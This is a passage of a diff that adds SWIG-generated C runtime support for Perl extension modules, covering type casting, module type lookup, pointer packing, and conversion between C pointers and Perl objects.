+  swig_type_info         *type;			/* pointer to type that is equivalent to this type */
+  swig_converter_func     converter;		/* function to cast the void pointers */
+  struct swig_cast_info  *next;			/* pointer to next cast in linked list */
+  struct swig_cast_info  *prev;			/* pointer to the previous cast */
+} swig_cast_info;
+
+/* Structure used to store module information
+ * Each module generates one structure like this, and the runtime collects
+ * all of these structures and stores them in a circularly linked list.*/
+typedef struct swig_module_info {
+  swig_type_info         **types;		/* Array of pointers to swig_type_info structures that are in this module */
+  size_t                 size;		        /* Number of types in this module */
+  struct swig_module_info *next;		/* Pointer to next element in circularly linked list */
+  swig_type_info         **type_initial;	/* Array of initially generated type structures */
+  swig_cast_info         **cast_initial;	/* Array of initially generated casting structures */
+  void                    *clientdata;		/* Language specific module data */
+} swig_module_info;
+
+/* 
+  Compare two type names skipping the space characters, therefore
+  "char*" == "char *" and "Class<int>" == "Class<int >", etc.
+
+  Return 0 when the two name types are equivalent, as in
+  strncmp, but skipping ' '.
+*/
+SWIGRUNTIME int
+SWIG_TypeNameComp(const char *f1, const char *l1,
+		  const char *f2, const char *l2) {
+  for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) {
+    while ((*f1 == ' ') && (f1 != l1)) ++f1;
+    while ((*f2 == ' ') && (f2 != l2)) ++f2;
+    if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1;
+  }
+  return (int)((l1 - f1) - (l2 - f2));
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if not equal, 1 if equal
+*/
+SWIGRUNTIME int
+SWIG_TypeEquiv(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if equal, -1 if nb < tb, 1 if nb > tb
+*/
+SWIGRUNTIME int
+SWIG_TypeCompare(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+
+/* think of this as a c++ template<> or a scheme macro */
+#define SWIG_TypeCheck_Template(comparison, ty)         \
+  if (ty) {                                             \
+    swig_cast_info *iter = ty->cast;                    \
+    while (iter) {                                      \
+      if (comparison) {                                 \
+        if (iter == ty->cast) return iter;              \
+        /* Move iter to the top of the linked list */   \
+        iter->prev->next = iter->next;                  \
+        if (iter->next)                                 \
+          iter->next->prev = iter->prev;                \
+        iter->next = ty->cast;                          \
+        iter->prev = 0;                                 \
+        if (ty->cast) ty->cast->prev = iter;            \
+        ty->cast = iter;                                \
+        return iter;                                    \
+      }                                                 \
+      iter = iter->next;                                \
+    }                                                   \
+  }                                                     \
+  return 0
+
+/*
+  Check the typename
+*/
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheck(const char *c, swig_type_info *ty) {
+  SWIG_TypeCheck_Template(strcmp(iter->type->name, c) == 0, ty);
+}
+
+/* Same as previous function, except strcmp is replaced with a pointer comparison */
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheckStruct(swig_type_info *from, swig_type_info *into) {
+  SWIG_TypeCheck_Template(iter->type == from, into);
+}
+
+/*
+  Cast a pointer up an inheritance hierarchy
+*/
+SWIGRUNTIMEINLINE void *
+SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) {
+  return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory);
+}
+
+/* 
+   Dynamic pointer casting. Down an inheritance hierarchy
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) {
+  swig_type_info *lastty = ty;
+  if (!ty || !ty->dcast) return ty;
+  while (ty && (ty->dcast)) {
+    ty = (*ty->dcast)(ptr);
+    if (ty) lastty = ty;
+  }
+  return lastty;
+}
+
+/*
+  Return the name associated with this type
+*/
+SWIGRUNTIMEINLINE const char *
+SWIG_TypeName(const swig_type_info *ty) {
+  return ty->name;
+}
+
+/*
+  Return the pretty name associated with this type,
+  that is an unmangled type name in a form presentable to the user.
+*/
+SWIGRUNTIME const char *
+SWIG_TypePrettyName(const swig_type_info *type) {
+  /* The "str" field contains the equivalent pretty names of the
+     type, separated by vertical-bar characters.  We choose
+     to print the last name, as it is often (?) the most
+     specific. */
+  if (!type) return NULL;
+  if (type->str != NULL) {
+    const char *last_name = type->str;
+    const char *s;
+    for (s = type->str; *s; s++)
+      if (*s == '|') last_name = s+1;
+    return last_name;
+  }
+  else
+    return type->name;
+}
+
+/* 
+   Set the clientdata field for a type
+*/
+SWIGRUNTIME void
+SWIG_TypeClientData(swig_type_info *ti, void *clientdata) {
+  swig_cast_info *cast = ti->cast;
+  /* if (ti->clientdata == clientdata) return; */
+  ti->clientdata = clientdata;
+  
+  while (cast) {
+    if (!cast->converter) {
+      swig_type_info *tc = cast->type;
+      if (!tc->clientdata) {
+	SWIG_TypeClientData(tc, clientdata);
+      }
+    }    
+    cast = cast->next;
+  }
+}
+SWIGRUNTIME void
+SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) {
+  SWIG_TypeClientData(ti, clientdata);
+  ti->owndata = 1;
+}
+  
+/*
+  Search for a swig_type_info structure only by mangled name
+  Search is a O(log #types)
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_MangledTypeQueryModule(swig_module_info *start, 
+                            swig_module_info *end, 
+		            const char *name) {
+  swig_module_info *iter = start;
+  do {
+    if (iter->size) {
+      register size_t l = 0;
+      register size_t r = iter->size - 1;
+      do {
+	/* since l+r >= 0, we can (>> 1) instead (/ 2) */
+	register size_t i = (l + r) >> 1; 
+	const char *iname = iter->types[i]->name;
+	if (iname) {
+	  register int compare = strcmp(name, iname);
+	  if (compare == 0) {	    
+	    return iter->types[i];
+	  } else if (compare < 0) {
+	    if (i) {
+	      r = i - 1;
+	    } else {
+	      break;
+	    }
+	  } else if (compare > 0) {
+	    l = i + 1;
+	  }
+	} else {
+	  break; /* should never happen */
+	}
+      } while (l <= r);
+    }
+    iter = iter->next;
+  } while (iter != end);
+  return 0;
+}
+
+/*
+  Search for a swig_type_info structure for either a mangled name or a human readable name.
+  It first searches the mangled names of the types, which is a O(log #types)
+  If a type is not found it then searches the human readable names, which is O(#types).
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeQueryModule(swig_module_info *start, 
+                     swig_module_info *end, 
+		     const char *name) {
+  /* STEP 1: Search the name field using binary search */
+  swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name);
+  if (ret) {
+    return ret;
+  } else {
+    /* STEP 2: If the type hasn't been found, do a complete search
+       of the str field (the human readable name) */
+    swig_module_info *iter = start;
+    do {
+      register size_t i = 0;
+      for (; i < iter->size; ++i) {
+	if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name)))
+	  return iter->types[i];
+      }
+      iter = iter->next;
+    } while (iter != end);
+  }
+  
+  /* neither found a match */
+  return 0;
+}
+
+/* 
+   Pack binary data into a string
+*/
+SWIGRUNTIME char *
+SWIG_PackData(char *c, void *ptr, size_t sz) {
+  static const char hex[17] = "0123456789abcdef";
+  register const unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu =  u + sz;
+  for (; u != eu; ++u) {
+    register unsigned char uu = *u;
+    *(c++) = hex[(uu & 0xf0) >> 4];
+    *(c++) = hex[uu & 0xf];
+  }
+  return c;
+}
+
+/* 
+   Unpack binary data from a string
+*/
+SWIGRUNTIME const char *
+SWIG_UnpackData(const char *c, void *ptr, size_t sz) {
+  register unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu = u + sz;
+  for (; u != eu; ++u) {
+    register char d = *(c++);
+    register unsigned char uu;
+    if ((d >= '0') && (d <= '9'))
+      uu = ((d - '0') << 4);
+    else if ((d >= 'a') && (d <= 'f'))
+      uu = ((d - ('a'-10)) << 4);
+    else 
+      return (char *) 0;
+    d = *(c++);
+    if ((d >= '0') && (d <= '9'))
+      uu |= (d - '0');
+    else if ((d >= 'a') && (d <= 'f'))
+      uu |= (d - ('a'-10));
+    else 
+      return (char *) 0;
+    *u = uu;
+  }
+  return c;
+}
+
+/* 
+   Pack 'void *' into a string buffer.
+*/
+SWIGRUNTIME char *
+SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) {
+  char *r = buff;
+  if ((2*sizeof(void *) + 2) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,&ptr,sizeof(void *));
+  if (strlen(name) + 1 > (bsz - (r - buff))) return 0;
+  strcpy(r,name);
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      *ptr = (void *) 0;
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sizeof(void *));
+}
+
+SWIGRUNTIME char *
+SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) {
+  char *r = buff;
+  size_t lname = (name ? strlen(name) : 0);
+  if ((2*sz + 2 + lname) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,ptr,sz);
+  if (lname) {
+    strncpy(r,name,lname+1);
+  } else {
+    *r = 0;
+  }
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      memset(ptr,0,sz);
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sz);
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+/*  Errors in SWIG */
+#define  SWIG_UnknownError    	   -1 
+#define  SWIG_IOError        	   -2 
+#define  SWIG_RuntimeError   	   -3 
+#define  SWIG_IndexError     	   -4 
+#define  SWIG_TypeError      	   -5 
+#define  SWIG_DivisionByZero 	   -6 
+#define  SWIG_OverflowError  	   -7 
+#define  SWIG_SyntaxError    	   -8 
+#define  SWIG_ValueError     	   -9 
+#define  SWIG_SystemError    	   -10
+#define  SWIG_AttributeError 	   -11
+#define  SWIG_MemoryError    	   -12 
+#define  SWIG_NullReferenceError   -13
+
+
+
+#ifdef __cplusplus
+/* Needed on some windows machines---since MS plays funny games with the header files under C++ */
+#include <math.h>
+#include <stdlib.h>
+extern "C" {
+#endif
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+/* Add in functionality missing in older versions of Perl. Much of this is based on Devel-PPPort on cpan. */
+
+/* Add PERL_REVISION, PERL_VERSION, PERL_SUBVERSION if missing */
+#ifndef PERL_REVISION
+#  if !defined(__PATCHLEVEL_H_INCLUDED__) && !(defined(PATCHLEVEL) && defined(SUBVERSION))
+#    define PERL_PATCHLEVEL_H_IMPLICIT
+#    include <patchlevel.h>
+#  endif
+#  if !(defined(PERL_VERSION) || (defined(SUBVERSION) && defined(PATCHLEVEL)))
+#    include <could_not_find_Perl_patchlevel.h>
+#  endif
+#  ifndef PERL_REVISION
+#    define PERL_REVISION       (5)
+#    define PERL_VERSION        PATCHLEVEL
+#    define PERL_SUBVERSION     SUBVERSION
+#  endif
+#endif
+
+#if defined(WIN32) && defined(PERL_OBJECT) && !defined(PerlIO_exportFILE)
+#define PerlIO_exportFILE(fh,fl) (FILE*)(fh)
+#endif
+
+#ifndef SvIOK_UV
+# define SvIOK_UV(sv)       (SvIOK(sv) && (SvUVX(sv) == SvIVX(sv)))
+#endif
+
+#ifndef SvUOK
+# define SvUOK(sv)           SvIOK_UV(sv)
+#endif
+
+#if ((PERL_VERSION < 4) || ((PERL_VERSION == 4) && (PERL_SUBVERSION <= 5)))
+#  define PL_sv_undef               sv_undef
+#  define PL_na	                    na
+#  define PL_errgv                  errgv
+#  define PL_sv_no                  sv_no
+#  define PL_sv_yes                 sv_yes
+#  define PL_markstack_ptr          markstack_ptr
+#endif
+
+#ifndef IVSIZE
+#  ifdef LONGSIZE
+#    define IVSIZE LONGSIZE
+#  else
+#    define IVSIZE 4 /* A bold guess, but the best we can make. */
+#  endif
+#endif
+
+#ifndef INT2PTR
+#  if (IVSIZE == PTRSIZE) && (UVSIZE == PTRSIZE)
+#    define PTRV                  UV
+#    define INT2PTR(any,d)        (any)(d)
+#  else
+#    if PTRSIZE == LONGSIZE
+#      define PTRV                unsigned long
+#    else
+#      define PTRV                unsigned
+#    endif
+#    define INT2PTR(any,d)        (any)(PTRV)(d)
+#  endif
+
+#  define NUM2PTR(any,d)  (any)(PTRV)(d)
+#  define PTR2IV(p)       INT2PTR(IV,p)
+#  define PTR2UV(p)       INT2PTR(UV,p)
+#  define PTR2NV(p)       NUM2PTR(NV,p)
+
+#  if PTRSIZE == LONGSIZE
+#    define PTR2ul(p)     (unsigned long)(p)
+#  else
+#    define PTR2ul(p)     INT2PTR(unsigned long,p)
+#  endif
+#endif /* !INT2PTR */
+
+#ifndef SvPV_nolen
+# define SvPV_nolen(x) SvPV(x,PL_na)
+#endif
+
+#ifndef get_sv
+#  define get_sv perl_get_sv
+#endif
+
+#ifndef ERRSV
+#  define ERRSV get_sv("@",FALSE)
+#endif
+
+#ifndef pTHX_
+#define pTHX_
+#endif   
+
+#include <string.h>
+#ifdef __cplusplus
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ * error manipulation
+ * ----------------------------------------------------------------------------- */
+
+SWIGINTERN const char*
+SWIG_Perl_ErrorType(int code) {
+  const char* type = 0;
+  switch(code) {
+  case SWIG_MemoryError:
+    type = "MemoryError";
+    break;
+  case SWIG_IOError:
+    type = "IOError";
+    break;
+  case SWIG_RuntimeError:
+    type = "RuntimeError";
+    break;
+  case SWIG_IndexError:
+    type = "IndexError";
+    break;
+  case SWIG_TypeError:
+    type = "TypeError";
+    break;
+  case SWIG_DivisionByZero:
+    type = "ZeroDivisionError";
+    break;
+  case SWIG_OverflowError:
+    type = "OverflowError";
+    break;
+  case SWIG_SyntaxError:
+    type = "SyntaxError";
+    break;
+  case SWIG_ValueError:
+    type = "ValueError";
+    break;
+  case SWIG_SystemError:
+    type = "SystemError";
+    break;
+  case SWIG_AttributeError:
+    type = "AttributeError";
+    break;
+  default:
+    type = "RuntimeError";
+  }
+  return type;
+}
+
+
+
+
+/* -----------------------------------------------------------------------------
+ * perlrun.swg
+ *
+ * This file contains the runtime support for Perl modules
+ * and includes code for managing global variables and pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef PERL_OBJECT
+#define SWIG_PERL_OBJECT_DECL CPerlObj *SWIGUNUSEDPARM(pPerl),
+#define SWIG_PERL_OBJECT_CALL pPerl,
+#else
+#define SWIG_PERL_OBJECT_DECL
+#define SWIG_PERL_OBJECT_CALL
+#endif
+
+/* Common SWIG API */
+
+/* for raw pointers */
+#define SWIG_ConvertPtr(obj, pp, type, flags)           SWIG_Perl_ConvertPtr(SWIG_PERL_OBJECT_CALL obj, pp, type, flags)
+#define SWIG_NewPointerObj(p, type, flags)              SWIG_Perl_NewPointerObj(SWIG_PERL_OBJECT_CALL p, type, flags)
+
+/* for raw packed data */
+#define SWIG_ConvertPacked(obj, p, s, type)             SWIG_Perl_ConvertPacked(SWIG_PERL_OBJECT_CALL obj, p, s, type)
+#define SWIG_NewPackedObj(p, s, type)	                SWIG_Perl_NewPackedObj(SWIG_PERL_OBJECT_CALL p, s, type)
+
+/* for class or struct pointers */
+#define SWIG_ConvertInstance(obj, pptr, type, flags)    SWIG_ConvertPtr(obj, pptr, type, flags)
+#define SWIG_NewInstanceObj(ptr, type, flags)           SWIG_NewPointerObj(ptr, type, flags)
+
+/* for C or C++ function pointers */
+#define SWIG_ConvertFunctionPtr(obj, pptr, type)        SWIG_ConvertPtr(obj, pptr, type, 0)
+#define SWIG_NewFunctionPtrObj(ptr, type)               SWIG_NewPointerObj(ptr, type, 0)
+
+/* for C++ member pointers, ie, member methods */
+#define SWIG_ConvertMember(obj, ptr, sz, ty)            SWIG_ConvertPacked(obj, ptr, sz, ty)
+#define SWIG_NewMemberObj(ptr, sz, type)                SWIG_NewPackedObj(ptr, sz, type)
+
+
+/* Runtime API */
+
+#define SWIG_GetModule(clientdata)                      SWIG_Perl_GetModule()
+#define SWIG_SetModule(clientdata, pointer)             SWIG_Perl_SetModule(pointer)
+
+
+/* Error manipulation */
+
+#define SWIG_ErrorType(code)                            SWIG_Perl_ErrorType(code)               
+#define SWIG_Error(code, msg)            		sv_setpvf(GvSV(PL_errgv),"%s %s\n", SWIG_ErrorType(code), msg)
+#define SWIG_fail                        		goto fail						    
+
+/* Perl-specific SWIG API */
+
+#define SWIG_MakePtr(sv, ptr, type, flags)              SWIG_Perl_MakePtr(SWIG_PERL_OBJECT_CALL sv, ptr, type, flags)
+#define SWIG_MakePackedObj(sv, p, s, type)	        SWIG_Perl_MakePackedObj(SWIG_PERL_OBJECT_CALL sv, p, s, type)
+#define SWIG_SetError(str)                              SWIG_Error(SWIG_RuntimeError, str)
+
+
+#define SWIG_PERL_DECL_ARGS_1(arg1)                     (SWIG_PERL_OBJECT_DECL arg1)
+#define SWIG_PERL_CALL_ARGS_1(arg1)                     (SWIG_PERL_OBJECT_CALL arg1)
+#define SWIG_PERL_DECL_ARGS_2(arg1, arg2)               (SWIG_PERL_OBJECT_DECL arg1, arg2)
+#define SWIG_PERL_CALL_ARGS_2(arg1, arg2)               (SWIG_PERL_OBJECT_CALL arg1, arg2)
+
+/* -----------------------------------------------------------------------------
+ * pointers/data manipulation
+ * ----------------------------------------------------------------------------- */
+
+/* For backward compatibility only */
+#define SWIG_POINTER_EXCEPTION  0
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define SWIG_OWNER   SWIG_POINTER_OWN
+#define SWIG_SHADOW  SWIG_OWNER << 1
+
+#define SWIG_MAYBE_PERL_OBJECT SWIG_PERL_OBJECT_DECL
+
+/* SWIG Perl macros */
+
+/* Macro to declare an XS function */
+#ifndef XSPROTO
+#   define XSPROTO(name) void name(pTHX_ CV* cv)
+#endif
+
+/* Macro to call an XS function */
+#ifdef PERL_OBJECT 
+#  define SWIG_CALLXS(_name) _name(cv,pPerl) 
+#else 
+#  ifndef MULTIPLICITY 
+#    define SWIG_CALLXS(_name) _name(cv) 
+#  else 
+#    define SWIG_CALLXS(_name) _name(PERL_GET_THX, cv) 
+#  endif 
+#endif 
+
+#ifdef PERL_OBJECT
+#define MAGIC_PPERL  CPerlObj *pPerl = (CPerlObj *) this;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+typedef int (CPerlObj::*SwigMagicFunc)(SV *, MAGIC *);
+#ifdef __cplusplus
+}
+#endif
+
+#define SWIG_MAGIC(a,b) (SV *a, MAGIC *b)
+#define SWIGCLASS_STATIC
+
+#else /* PERL_OBJECT */
+
+#define MAGIC_PPERL
+#define SWIGCLASS_STATIC static SWIGUNUSED
+
+#ifndef MULTIPLICITY
+#define SWIG_MAGIC(a,b) (SV *a, MAGIC *b)
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+typedef int (*SwigMagicFunc)(SV *, MAGIC *);
+#ifdef __cplusplus
+}
+#endif
+
+#else /* MULTIPLICITY */
+
+#define SWIG_MAGIC(a,b) (struct interpreter *interp, SV *a, MAGIC *b)
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+typedef int (*SwigMagicFunc)(struct interpreter *, SV *, MAGIC *);
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* MULTIPLICITY */
+#endif /* PERL_OBJECT */
+
+/* Workaround for bug in perl 5.6.x croak and earlier */
+#if (PERL_VERSION < 8)
+#  ifdef PERL_OBJECT
+#    define SWIG_croak_null() SWIG_Perl_croak_null(pPerl)
+static void SWIG_Perl_croak_null(CPerlObj *pPerl)
+#  else
+static void SWIG_croak_null()
+#  endif
+{
+  SV *err=ERRSV;
+#  if (PERL_VERSION < 6)
+  croak("%_", err);
+#  else
+  if (SvOK(err) && !SvROK(err)) croak("%_", err);
+  croak(Nullch);
+#  endif
+}
+#else
+#  define SWIG_croak_null() croak(Nullch)
+#endif
+
+
+/* 
+   Define how strict is the cast between strings and integers/doubles
+   when overloading between these types occurs.
+   
+   The default is making it as strict as possible by using SWIG_AddCast
+   when needed.
+   
+   You can use -DSWIG_PERL_NO_STRICT_STR2NUM at compilation time to
+   disable the SWIG_AddCast, making the casting between string and
+   numbers less strict.
+
+   In the end, we try to solve the overloading between strings and
+   numerical types in the more natural way, but if you can avoid it,
+   well, avoid it using %rename, for example.
+*/
+#ifndef SWIG_PERL_NO_STRICT_STR2NUM
+# ifndef SWIG_PERL_STRICT_STR2NUM
+#  define SWIG_PERL_STRICT_STR2NUM
+# endif
+#endif
+#ifdef SWIG_PERL_STRICT_STR2NUM
+/* string takes precedence */
+#define SWIG_Str2NumCast(x) SWIG_AddCast(x)  
+#else
+/* number takes precedence */
+#define SWIG_Str2NumCast(x) x
+#endif
+
+
+
+#include <stdlib.h>
+
+SWIGRUNTIME const char *
+SWIG_Perl_TypeProxyName(const swig_type_info *type) {
+  if (!type) return NULL;
+  if (type->clientdata != NULL) {
+    return (const char*) type->clientdata;
+  } 
+  else {
+    return type->name;
+  }
+}
+
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeProxyCheck(const char *c, swig_type_info *ty) {
+  SWIG_TypeCheck_Template(( (!iter->type->clientdata && (strcmp(iter->type->name, c) == 0)) 
+			    || (iter->type->clientdata && (strcmp((char*)iter->type->clientdata, c) == 0))), ty);
+}
+
+
+/* Function for getting a pointer value */
+
+SWIGRUNTIME int
+SWIG_Perl_ConvertPtr(SWIG_MAYBE_PERL_OBJECT SV *sv, void **ptr, swig_type_info *_t, int flags) {
+  swig_cast_info *tc;
+  void *voidptr = (void *)0;
+  SV *tsv = 0;
+  /* If magical, apply more magic */
+  if (SvGMAGICAL(sv))
+    mg_get(sv);
+
+  /* Check to see if this is an object */
+  if (sv_isobject(sv)) {
+    IV tmp = 0;
+    tsv = (SV*) SvRV(sv);
+    if ((SvTYPE(tsv) == SVt_PVHV)) {
+      MAGIC *mg;
+      if (SvMAGICAL(tsv)) {
+        mg = mg_find(tsv,'P');
+        if (mg) {
+          sv = mg->mg_obj;
+          if (sv_isobject(sv)) {
+	    tsv = (SV*)SvRV(sv);
+            tmp = SvIV(tsv);
+          }
+        }
+      } else {
+        return SWIG_ERROR;
+      }
+    } else {
+      tmp = SvIV(tsv);
+    }
+    voidptr = INT2PTR(void *,tmp);
+  } else if (! SvOK(sv)) {            /* Check for undef */
+    *(ptr) = (void *) 0;
+    return SWIG_OK;
+  } else if (SvTYPE(sv) == SVt_RV) {  /* Check for NULL pointer */
+    if (!SvROK(sv)) {
+      *(ptr) = (void *) 0;
+      return SWIG_OK;
+    } else {
+      return SWIG_ERROR;
+    }
+  } else {                            /* Don't know what it is */
+    return SWIG_ERROR;
+  }
+  if (_t) {
+    /* Now see if the types match */
+    char *_c = HvNAME(SvSTASH(SvRV(sv)));
+    tc = SWIG_TypeProxyCheck(_c,_t);
+    if (!tc) {
+      return SWIG_ERROR;
+    }
+    {
+      int newmemory = 0;
+      *ptr = SWIG_TypeCast(tc,voidptr,&newmemory);
+      assert(!newmemory); /* newmemory handling not yet implemented */
+    }
+  } else {
+    *ptr = voidptr;
+  }
+
+  /* 
+   *  DISOWN implementation: we need a perl guru to check this one.
+   */
+  if (tsv && (flags & SWIG_POINTER_DISOWN)) {
+    /* 
+     *  almost copy paste code from below SWIG_POINTER_OWN setting
+     */
+    SV *obj = sv;
+    HV *stash = SvSTASH(SvRV(obj));
+    GV *gv = *(GV**) hv_fetch(stash, "OWNER", 5, TRUE);
+    if (isGV(gv)) {
+      HV *hv = GvHVn(gv);
+      /*
+       * To set ownership (see below), a newSViv(1) entry is added. 
+       * Hence, to remove ownership, we delete the entry.
+       */
+      if (hv_exists_ent(hv, obj, 0)) {
+	hv_delete_ent(hv, obj, 0, 0);
+      }
+    }
+  }
+  return SWIG_OK;
+}
+
+SWIGRUNTIME void
+SWIG_Perl_MakePtr(SWIG_MAYBE_PERL_OBJECT SV *sv, void *ptr, swig_type_info *t, int flags) {
+  if (ptr && (flags & SWIG_SHADOW)) {
+    SV *self;
+    SV *obj=newSV(0);
+    HV *hash=newHV();
+    HV *stash;
+    sv_setref_pv(obj, (char *) SWIG_Perl_TypeProxyName(t), ptr);
+    stash=SvSTASH(SvRV(obj));
+    if (flags & SWIG_POINTER_OWN) {
+      HV *hv;
+      GV *gv=*(GV**)hv_fetch(stash, "OWNER", 5, TRUE);
+      if (!isGV(gv))
+        gv_init(gv, stash, "OWNER", 5, FALSE);
+      hv=GvHVn(gv);
+      hv_store_ent(hv, obj, newSViv(1), 0);
+    }
+    sv_magic((SV *)hash, (SV *)obj, 'P', Nullch, 0);
+    SvREFCNT_dec(obj);
+    self=newRV_noinc((SV *)hash);
+    sv_setsv(sv, self);
+    SvREFCNT_dec((SV *)self);
+    sv_bless(sv, stash);
+  }
+  else {
+    sv_setref_pv(sv, (char *) SWIG_Perl_TypeProxyName(t), ptr);
+  }
+}
+
+SWIGRUNTIMEINLINE SV *
+SWIG_Perl_NewPointerObj(SWIG_MAYBE_PERL_OBJECT void *ptr, swig_type_info *t, int flags) {
+  SV *result = sv_newmortal();
+  SWIG_MakePtr(result, ptr, t, flags);
+  return result;
+}
+
+SWIGRUNTIME void
+SWIG_Perl_MakePackedObj(SWIG_MAYBE_PERL_OBJECT SV *sv, void *ptr, int sz, swig_type_info *type) {
+  char result[1024];
+  char *r = result;
+  if ((2*sz + 1 + strlen(SWIG_Perl_TypeProxyName(type))) > 1000) return;
+  *(r++) = '_';
+  r = SWIG_PackData(r,ptr,sz);
+  strcpy(r,SWIG_Perl_TypeProxyName(type));
+  sv_setpv(sv, result);
+}
+
+SWIGRUNTIME SV *
+SWIG_Perl_NewPackedObj(SWIG_MAYBE_PERL_OBJECT void *ptr, int sz, swig_type_info *type) {
+  SV *result = sv_newmortal();
+  SWIG_Perl_MakePackedObj(result, ptr, sz, type);
+  return result;
+}
+
+/* Convert a packed value value */
+SWIGRUNTIME int
+SWIG_Perl_ConvertPacked(SWIG_MAYBE_PERL_OBJECT SV *obj, void *ptr, int sz, swig_type_info *ty) {
+  swig_cast_info *tc;
+  const char  *c = 0;
+
+  if ((!obj) || (!SvOK(obj))) return SWIG_ERROR;
+  c = SvPV_nolen(obj);
+  /* Pointer values must start with leading underscore */
+  if (*c != '_') return SWIG_ERROR;
+  c++;
+  c = SWIG_UnpackData(c,ptr,sz);
+  if (ty) {
+    tc = SWIG_TypeCheck(c,ty);
+    if (!tc) return SWIG_ERROR;
+  }
+  return SWIG_OK;
+}
+
+
+/* Macros for low-level exception handling */
+#define SWIG_croak(x)    { SWIG_Error(SWIG_RuntimeError, x); SWIG_fail; }
+
+
+typedef XSPROTO(SwigPerlWrapper);
+typedef SwigPerlWrapper *SwigPerlWrapperPtr;
+
+/* Structure for command table */
+typedef struct {
+  const char         *name;
+  SwigPerlWrapperPtr  wrapper;
+} swig_command_info;
+
+/* Information for constant table */
+
+#define SWIG_INT     1
+#define SWIG_FLOAT   2
+#define SWIG_STRING  3
+#define SWIG_POINTER 4
+#define SWIG_BINARY  5
+
+/* Constant information structure */
+typedef struct swig_constant_info {
+    int              type;
+    const char      *name;
+    long             lvalue;
+    double           dvalue;
+    void            *pvalue;
+    swig_type_info **ptype;
+} swig_constant_info;
+
+
+/* Structure for variable table */
+typedef struct {
+  const char   *name;
+  SwigMagicFunc   set;
+  SwigMagicFunc   get;
+  swig_type_info  **type;
+} swig_variable_info;
+
+/* Magic variable code */
+#ifndef PERL_OBJECT
+#define swig_create_magic(s,a,b,c) _swig_create_magic(s,a,b,c)
+  #ifndef MULTIPLICITY
+     SWIGRUNTIME void _swig_create_magic(SV *sv, char *name, int (*set)(SV *, MAGIC *), int (*get)(SV *,MAGIC *)) 
+  #else
+     SWIGRUNTIME void _swig_create_magic(SV *sv, char *name, int (*set)(struct interpreter*, SV *, MAGIC *), int (*get)(struct interpreter*, SV *,MAGIC *)) 
+  #endif
+#else
+#  define swig_create_magic(s,a,b,c) _swig_create_magic(pPerl,s,a,b,c)
+SWIGRUNTIME void _swig_create_magic(CPerlObj *pPerl, SV *sv, const char *name, int (CPerlObj::*set)(SV *, MAGIC *), int (CPerlObj::*get)(SV *, MAGIC *)) 
+#endif
+{
+  MAGIC *mg;
+  sv_magic(sv,sv,'U',(char *) name,strlen(name));
+  mg = mg_find(sv,'U');
+  mg->mg_virtual = (MGVTBL *) malloc(sizeof(MGVTBL));
+  mg->mg_virtual->svt_get = (SwigMagicFunc) get;
+  mg->mg_virtual->svt_set = (SwigMagicFunc) set;
+  mg->mg_virtual->svt_len = 0;
+  mg->mg_virtual->svt_clear = 0;
+  mg->mg_virtual->svt_free = 0;
+}
+
+
+SWIGRUNTIME swig_module_info *
+SWIG_Perl_GetModule(void) {
+  static void *type_pointer = (void *)0;
+  SV *pointer;
+
+  /* first check if pointer already created */
+  if (!type_pointer) {
